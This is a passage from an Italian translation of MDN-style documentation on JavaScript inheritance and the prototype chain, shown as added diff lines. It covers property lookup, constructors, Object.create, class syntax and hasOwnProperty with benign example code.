+// o.[[Prototype]].[[Prototype]].[[Prototype]] è null, stop alla ricerca,
+// nessuna property trovata, restituisce undefined
+</pre>
+
+<p>Impostando una property su un oggetto viene creata una own property. La sola eccezione alle regole di comportamento setting e getting è quando c'è una property ereditata con un <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters" title="Defining Getters and Setters">getter or a setter</a>.</p>
+
+<h3 id="Metodi_ereditati">"Metodi" ereditati</h3>
+
+<p>JavaScript non ha "metodi" nella forma tipica dei linguaggi basati sulle classi. In JavaScript, qualunque funzione può essere aggiunta ad un oggetto come fosse property. Una funzione ereditata agisce come ogni altra property, incluse le  property shadowing come mostrato di seguito (in questo caso, una forma di <em>sovrascrittura di metodi</em>).</p>
+
+<p>Quando viene eseguita una funzione ereditata, il valore del <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this" title="this"><code>this</code></a> punta all'oggetto ereditante, non all'oggetto prototype dove la funzione è una property proprietaria (own property).</p>
+
+<pre class="brush: js">var o = {
+  a: 2,
+  m: function(b){
+    return this.a + 1;
+  }
+};
+
+console.log(o.m()); // 3
+// Chiamando o.m in questo caso, 'this' si riferisce a o
+
+var p = Object.create(o);
+// p è un oggeto che eredita da o
+
+p.a = 12; // crea una propria property 'a' su p
+console.log(p.m()); // 13
+// quando p.m è chiamata, 'this' si riferisce a p.
+// Così quando p eredita la funzione m di o,
+// 'this.a' significa p.a, the propria property 'a' di p
+</pre>
+
+<h2 id="Luso_di_prototypes_in_Javascript">L'uso di prototypes in Javascript</h2>
+
+<p>Guardiamo cos'è successo dietro le quinte con maggior dettaglio.</p>
+
+<p>In Javascript, come già detto in precedenza, le funzioni possono avere delle properties. Tutte le funzioni hanno una property  speciale chiamata <code>prototype</code>. Si prega di notare che il codice sottostante è autonomo (si può presumere che non ci sia altro codice JavaScript nella pagina web oltre al codice sottostante). Per una migliore esperienza di apprendimento, si consiglia vivamente di aprire una console, navigare fino alla scheda "console", copiare e incollare nel codice JavaScript sottostante ed eseguirlo premendo il tasto Invio. (La console è inclusa nella maggior parte degli strumenti per sviluppatori del browser web. Ulteriori informazioni sono disponibili per <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools">Firefox Developer Tools</a>, <a href="https://developers.google.com/web/tools/chrome-devtools/">Chrome DevTools</a>, and <a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide">Edge DevTools</a>.)</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span> doSomething<span class="punctuation token">.</span>prototype <span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// Non importa come dichiari una funzione, una</span>
+<span class="comment token">// funzione in JavaScript </span><span class="comment token">avrà sempre una property
+// prototype di default.</span>
+<span class="keyword token">var</span> <span class="function function-variable token">doSomething</span> <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span> doSomething<span class="punctuation token">.</span>prototype <span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Come visto sopra, <code>doSomething()</code> ha una property <code>prototype</code> predefinita, come visualizzato dalla console. Dopo aver eseguito questo codice, la console dovrebbe aver visualizzato un oggetto simile a questo.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="punctuation token">{</span>
+    constructor<span class="punctuation token">:</span> ƒ <span class="function token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    __proto__<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+        constructor<span class="punctuation token">:</span> ƒ <span class="function token">Object</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        hasOwnProperty<span class="punctuation token">:</span> ƒ <span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        isPrototypeOf<span class="punctuation token">:</span> ƒ <span class="function token">isPrototypeOf</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        propertyIsEnumerable<span class="punctuation token">:</span> ƒ <span class="function token">propertyIsEnumerable</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        toLocaleString<span class="punctuation token">:</span> ƒ <span class="function token">toLocaleString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        toString<span class="punctuation token">:</span> ƒ <span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        valueOf<span class="punctuation token">:</span> ƒ <span class="function token">valueOf</span><span class="punctuation token">(</span><span class="punctuation token">)</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Possiamo aggiungere delle properties al prototype di <code>doSomething()</code>, come mostrato in seguito.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+doSomething<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>foo <span class="operator token">=</span> <span class="string token">"bar"</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span> doSomething<span class="punctuation token">.</span>prototype <span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Il risultato è:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="punctuation token">{</span>
+    foo<span class="punctuation token">:</span> <span class="string token">"bar"</span><span class="punctuation token">,</span>
+    constructor<span class="punctuation token">:</span> ƒ <span class="function token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    __proto__<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+        constructor<span class="punctuation token">:</span> ƒ <span class="function token">Object</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        hasOwnProperty<span class="punctuation token">:</span> ƒ <span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        isPrototypeOf<span class="punctuation token">:</span> ƒ <span class="function token">isPrototypeOf</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        propertyIsEnumerable<span class="punctuation token">:</span> ƒ <span class="function token">propertyIsEnumerable</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        toLocaleString<span class="punctuation token">:</span> ƒ <span class="function token">toLocaleString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        toString<span class="punctuation token">:</span> ƒ <span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        valueOf<span class="punctuation token">:</span> ƒ <span class="function token">valueOf</span><span class="punctuation token">(</span><span class="punctuation token">)</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Ora possiamo usare l'operatore <code>new</code> per creare un'istanza di <code>doSomething()</code> basata su questo prototipo. Per usare l'operatore <code>new</code>, è sufficiente invocare la funzione normalmente, utilizzando però il prefisso new. Chiamare una funzione con l'operatore <code>new</code> restituisce un oggetto che è un'istanza della funzione. Le proprietà possono poi essere aggiunte a questo oggetto.</p>
+
+<p>Prova ad eseguire il seguente codice:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+doSomething<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>foo <span class="operator token">=</span> <span class="string token">"bar"</span><span class="punctuation token">;</span> <span class="comment token">// aggiungo una property alla prototype</span>
+<span class="keyword token">var</span> doSomeInstancing <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+doSomeInstancing<span class="punctuation token">.</span>prop <span class="operator token">=</span> <span class="string token">"some value"</span><span class="punctuation token">;</span> <span class="comment token">// aggiungo una property all'oggetto</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span> doSomeInstancing <span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p><span class="punctuation token">Il risultato restituito è simile al seguente:</span></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="punctuation token">{</span>
+    prop<span class="punctuation token">:</span> <span class="string token">"some value"</span><span class="punctuation token">,</span>
+    __proto__<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+        foo<span class="punctuation token">:</span> <span class="string token">"bar"</span><span class="punctuation token">,</span>
+        constructor<span class="punctuation token">:</span> ƒ <span class="function token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+        __proto__<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+            constructor<span class="punctuation token">:</span> ƒ <span class="function token">Object</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+            hasOwnProperty<span class="punctuation token">:</span> ƒ <span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+            isPrototypeOf<span class="punctuation token">:</span> ƒ <span class="function token">isPrototypeOf</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+            propertyIsEnumerable<span class="punctuation token">:</span> ƒ <span class="function token">propertyIsEnumerable</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+            toLocaleString<span class="punctuation token">:</span> ƒ <span class="function token">toLocaleString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+            toString<span class="punctuation token">:</span> ƒ <span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+            valueOf<span class="punctuation token">:</span> ƒ <span class="function token">valueOf</span><span class="punctuation token">(</span><span class="punctuation token">)</span>
+        <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Come visto in precedenza, il <code>__proto__ </code>di <code>doSomeInstancing</code> è <code>doSomething.prototype</code>. Ma, cosa significa? Quando si accede a una proprietà di <code>doSomeInstancing</code>, il browser controlla se <code>doSomeInstancing</code> ha quella proprietà.</p>
+
+<p>Se <code>doSomeInstancing</code> non ha la proprietà, allora il browser cerca la proprietà nel <code>__proto__ </code>di <code>doSomeInstancing</code> (alias doSomething.prototype). Se il <code>__proto__</code> di doSomeInstancing ha la proprietà che si sta cercando, allora quella proprietà presente nel <code>__proto__</code> di doSomeInstancing viene usata.</p>
+
+<p>Altrimenti, se il <code>__proto__</code> di doSomeInstancing non ha la proprietà, allora il <code>__proto__</code> del <code>__proto__ </code>di doSomeInstancing viene controllato per verificare la presenza della proprietà cercata. Di default, il <code>__proto__</code> di ogni proprietà prototype di qualsiasi funzione è <code>window.Object.prototype</code>. Quindi, il <code>__proto__</code> del <code>__proto__</code> di doSomeInstancing (alias il <code>__proto__</code> di doSomething.prototype (alias Object.prototype))  viene poi controllato alla ricerca della proprietà che si sta cercando.</p>
+
+<p>Se la proprietà non si trova nel <code>__proto__</code> del <code>__proto__</code> di doSomeInstancing, allora il <code>__proto__</code> del <code>__proto__</code> del <code>__proto__</code> di doSomeInstancing viene esaminato. Tuttavia, c'è un problema: il <code>__proto__</code> del <code>__proto__</code> del <code>__proto__</code>  di doSomeInstancing non esiste. Quindi, e solo allora, dopo che l'intera catena di prototipi di <code>__proto__</code> è stata esaminata, e non ci sono più <code>__proto__</code>, il browser conferma che la proprietà non esiste e conclude che il valore della proprietà è <code>undefined</code>.</p>
+
+<p>Proviamo ad inserire altro codice nella console:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+doSomething<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>foo <span class="operator token">=</span> <span class="string token">"bar"</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> doSomeInstancing <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">doSomething</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+doSomeInstancing<span class="punctuation token">.</span>prop <span class="operator token">=</span> <span class="string token">"some value"</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"doSomeInstancing.prop:      "</span> <span class="operator token">+</span> doSomeInstancing<span class="punctuation token">.</span>prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"doSomeInstancing.foo:       "</span> <span class="operator token">+</span> doSomeInstancing<span class="punctuation token">.</span>foo<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"doSomething.prop:           "</span> <span class="operator token">+</span> doSomething<span class="punctuation token">.</span>prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"doSomething.foo:            "</span> <span class="operator token">+</span> doSomething<span class="punctuation token">.</span>foo<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"doSomething.prototype.prop: "</span> <span class="operator token">+</span> doSomething<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"doSomething.prototype.foo:  "</span> <span class="operator token">+</span> doSomething<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>foo<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Il risultato è il seguente:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">doSomeInstancing<span class="punctuation token">.</span>prop<span class="punctuation token">:</span>      some value
+doSomeInstancing<span class="punctuation token">.</span>foo<span class="punctuation token">:</span>       bar
+doSomething<span class="punctuation token">.</span>prop<span class="punctuation token">:</span>           <span class="keyword token">undefined</span>
+doSomething<span class="punctuation token">.</span>foo<span class="punctuation token">:</span>            <span class="keyword token">undefined</span>
+doSomething<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>prop<span class="punctuation token">:</span> <span class="keyword token">undefined</span>
+doSomething<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>foo<span class="punctuation token">:</span>  bar</code></pre>
+
+<h2 id="Differenti_modi_di_creare_oggetti_e_la_risultante_catena_di_prototype">Differenti modi di creare oggetti e la risultante catena di prototype</h2>
+
+<h3 id="Oggetti_creati_con_i_costrutti_sintattici">Oggetti creati con i costrutti sintattici</h3>
+
+<pre class="brush: js">var o = {a: 1};
+
+// L'oggetto o appena creato ha Object.prototype come proprio [[Prototype]]
+// o non ha una propria property chamata 'hasOwnProperty'
+// hasOwnProperty è una property propria di Object.prototype.
+// Quindi o eredita hasOwnProperty da Object.prototype
+// Object.prototype ha null come suo prototype.
+// o ---&gt; Object.prototype ---&gt; null
+
+var a = ["yo", "whadup", "?"];
+
+// Arrays ereditato da Array.prototype
+// (che metodi come indexOf, forEach, ecc.)
+// La catena di prototype si presenta così:
+// a ---&gt; Array.prototype ---&gt; Object.prototype ---&gt; null
+
+function f(){
+  return 2;
+}
+
+// Le funzioni ereditano da Function.prototype
+// (che ha metodi come call, bind, ecc.)
+// f ---&gt; Function.prototype ---&gt; Object.prototype ---&gt; null
+</pre>
+
+<h3 id="Con_un_constructor">Con un constructor</h3>
+
+<p>Un "constructor" (costruttore) in JavaScript è semplicemente una funzione che è stata chiamata con  <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new" title="new">l'operatore new</a>.</p>
+
+<pre class="brush: js">function Graph() {
+  this.vertices = [];
+  this.edges = [];
+}
+
+Graph.prototype = {
+  addVertex: function(v){
+    this.vertices.push(v);
+  }
+};
+
+var g = new Graph();
+// g è un oggetto con proprie properties 'vertices' ed 'edges'.
+// g.[[Prototype]] è il valore di Graph.prototype quando viene eseguito new Graph().
+</pre>
+
+<h3 id="Con_Object.create">Con <code>Object.create</code></h3>
+
+<p>ECMAScript 5 introduce un nuovo metodo: {{jsxref("Object.create()")}}. Chiamando questo metodo viene creato un nuovo oggetto. Il prototype di questo oggetto è il primo argomento della funzione:</p>
+
+<pre class="brush: js">var a = {a: 1};
+// a ---&gt; Object.prototype ---&gt; null
+
+var b = Object.create(a);
+// b ---&gt; a ---&gt; Object.prototype ---&gt; null
+console.log(b.a); // 1 (ereditato)
+
+var c = Object.create(b);
+// c ---&gt; b ---&gt; a ---&gt; Object.prototype ---&gt; null
+
+var d = Object.create(null);
+// d ---&gt; null
+console.log(d.hasOwnProperty);
+// undefined, perché d non eredita da Object.prototype
+</pre>
+
+<div>
+<h3 id="Operatore_delete_con_Object.create_e_loperatore_new">Operatore <code>delete</code> con <code>Object.create</code> e l'operatore  <code>new</code></h3>
+
+<p>L'operazione di cancellazione di una proprietà mediante l'utilizzo dell'operatore <code>delete</code> permette di evidenziare l'ereditarietà prototipale di un oggetto creato attraverso <code>Object.create</code> e l'oggetto utilizzato da prototipo del nuovo oggetto creato:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> a <span class="operator token">=</span> <span class="punctuation token">{</span>a<span class="punctuation token">:</span> <span class="number token">1</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> b <span class="operator token">=</span> Object<span class="punctuation token">.</span><span class="function token">create</span><span class="punctuation token">(</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a<span class="punctuation token">.</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// stampa 1 </span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>b<span class="punctuation token">.</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// stampa 1</span>
+b<span class="punctuation token">.</span>a<span class="operator token">=</span><span class="number token">5</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a<span class="punctuation token">.</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// stampa 1</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>b<span class="punctuation token">.</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// stampa 5</span>
+<span class="keyword token">delete</span> b<span class="punctuation token">.</span>a<span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a<span class="punctuation token">.</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// stampa 1</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>b<span class="punctuation token">.</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// stampa 1(b.a di valore 5 è cancellato ma viene visualizzato il valore contenuto nella prototype chain )</span>
+<span class="keyword token">delete</span> a<span class="punctuation token">.</span>a<span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a<span class="punctuation token">.</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// stampa undefined</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>b<span class="punctuation token">.</span>a<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// stampa undefined</span></code></pre>
+
+<p>L'operatore <code>new</code> ha una prototype chain più corta in questo esempio:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">Graph</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">this</span><span class="punctuation token">.</span>vertices <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">4</span><span class="punctuation token">,</span><span class="number token">4</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> g <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Graph</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>g<span class="punctuation token">.</span>vertices<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// print [4,4]</span>
+g<span class="punctuation token">.</span>vertices <span class="operator token">=</span> <span class="number token">25</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>g<span class="punctuation token">.</span>vertices<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// print 25</span>
+<span class="keyword token">delete</span> g<span class="punctuation token">.</span>vertices<span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>g<span class="punctuation token">.</span>vertices<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// print undefined</span></code></pre>
+
+<h3 id="Con_la_parola_chiave_class">Con la parola chiave <code>class</code></h3>
+
+<p>ECMAScript 2015 introduce un nuovo gruppo di parole chiave per implementare le <a href="/en-US/docs/Web/JavaScript/Reference/Classes">classi</a>. Sebbene questi costrutti assomiglino a quelli familiari agli sviluppatori di linguaggi basati su classi, in realtà non cambia molto. JavaScript continua ad essere basato su prototype. Le nuove parole chiave includono {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}}, e {{jsxref("Operators/super", "super")}}.</p>
+
+<pre class="brush: js">"use strict";
+
+class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(sideLength) {
+    super(sideLength, sideLength);
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set sideLength(newLength) {
+    this.height = newLength;
+    this.width = newLength;
+  }
+}
+
+var square = new Square(2);
+</pre>
+
+<h3 id="Prestazioni">Prestazioni</h3>
+
+<p>Il tempo impiegato per la ricerca di proprietá che sono in alto nella catena dei prototype può avere un impatto negativo sulle prestazioni e questo può essere significativo in codice in cui le prestazioni sono critiche. Inoltre il tentativo di accedere a properties non esistenti esamina sempre la catena completa dei prototype.</p>
+
+<p>In più, quando si itera sulle proprietà di un oggetto, <strong>tutte</strong> le properties enumerabili che si trovano nella sua catena dei prototype verranno enumerate. Per controllare se un oggetto ha una property definita da <em>se stesso</em> e non da qualche parte nella catena di prototype<span id="result_box" lang="it"><span>,</span> <span class="hps">è necessario</span> <span class="hps">utilizzare</span> <span class="hps">il metodo</span> </span><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a><span lang="it"> che<span class="hps"> tutti gli oggetti</span> <span class="hps">ereditano da</span> <code><span class="hps">Object.prototype</span></code><span>. Per fornire un esempio concreto, analizziamo il codice del grafo visto in precedenza per illustrare quanto detto:</span></span></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>g<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'vertices'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// true</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>g<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'nope'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// false</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>g<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'addVertex'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// false</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>g<span class="punctuation token">.</span>__proto__<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'addVertex'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// true</span></code></pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> è la sola cosa in JavaScript che opera con le properties <strong>senza</strong> traversare la catena dei prototype.</p>
+
+<p>Nota: <strong>non</strong> è sufficiente controllare se una property è <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>. La property potrebbe essere presente comunque e questo capita se il suo valore è stato assegnato <code>undefined.</code></p>
+</div>
+
+<h3 id="Cattiva_pratica_Estensione_di_prototypes_nativi">Cattiva pratica: Estensione di prototypes nativi</h3>
+
+<p>Una caratteristica mancante che viene spesso utilizzata è quella di estendere <code>Object.prototype</code> o uno degli altri prototype built-in.</p>
+
+<p>Questa tecnica viene chiamata "monkey patching" e rompe l'<em>incapsulazione</em>. Nonostante sia utilizzata da frameworks popolari come ad esempio Prototype.js, non esistono comunque buone ragioni per appesantire i tipi built-in con funzionalità <em>non-standard</em> aggiuntive.</p>
+
+<p>La <strong>sola</strong> buona ragione per estendere un prototype built-in è per dotare vecchie versioni di JavaScript con funzionalità presenti in quelle nuove; per esempio <code>Array.forEach</code>, etc.</p>
+
+<h3 id="Sommario_dei_metodi_per_lestensione_della_prototype_chain">Sommario dei metodi per l'estensione della prototype chain</h3>
+
+<p>Vengono presentati i 4 i metodi per l'estensione della prototype chain con i loro pro e i loro contro. Tutti gli esempi elencati di seguito creano esattamente lo stesso oggetto <code>inst</code> (ottenendo così gli stessi risultati nella console), ma in modi diversi allo scopo illustrativo.</p>
+
+<table class="standard-table" style="text-align: top;">
+ <tbody>
+  <tr>
+   <td style="width: 1%;">Nome</td>
+   <td style="vertical-align: top; width: 1%;">Esempi</td>
+   <td style="vertical-align: top;">Pro</td>
+   <td style="vertical-align: top; width: 60%;">Contro</td>
+  </tr>
+  <tr>
+   <td>Inizializzazione con New</td>
+   <td style="vertical-align: top;">
+    <pre class="brush: js line-numbers language-js">
+<code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+foo<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+  foo_prop<span class="punctuation token">:</span> <span class="string token">"foo val"</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+<span class="keyword token">var</span> proto <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">foo</span><span class="punctuation token">;</span>
+proto<span class="punctuation token">.</span>bar_prop <span class="operator token">=</span> <span class="string token">"bar val"</span><span class="punctuation token">;</span>
+bar<span class="punctuation token">.</span>prototype <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+<span class="keyword token">var</span> inst <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">bar</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>foo_prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>bar_prop<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+   </td>
+   <td style="vertical-align: top;">Supportato in ogni browser immaginabile (il supporto va fino a IE 5.5!). Inoltre, è molto veloce, molto standard e molto JIST-optimizable.</td>
+   <td style="vertical-align: top;">Per poter utilizzare questo metodo, la funzione in questione deve essere inizializzata. Durante questa inizializzazione, il costruttore può memorizzare informazioni uniche che devono essere generate per ogni oggetto. Tuttavia, queste informazioni uniche verrebbero generate una sola volta, il che potrebbe portare a problemi. Inoltre, l'inizializzazione del costruttore può inserire metodi indesiderati sull'oggetto. Tuttavia, queste criticità non sono generalmente problemi (in effetti, di solito sono utili) se si tratta di codice proprio e si sa cosa fa cosa e dove.</td>
+  </tr>
+  <tr>
+   <td>Object.create</td>
+   <td style="vertical-align: top;">
+    <pre class="brush: js line-numbers language-js">
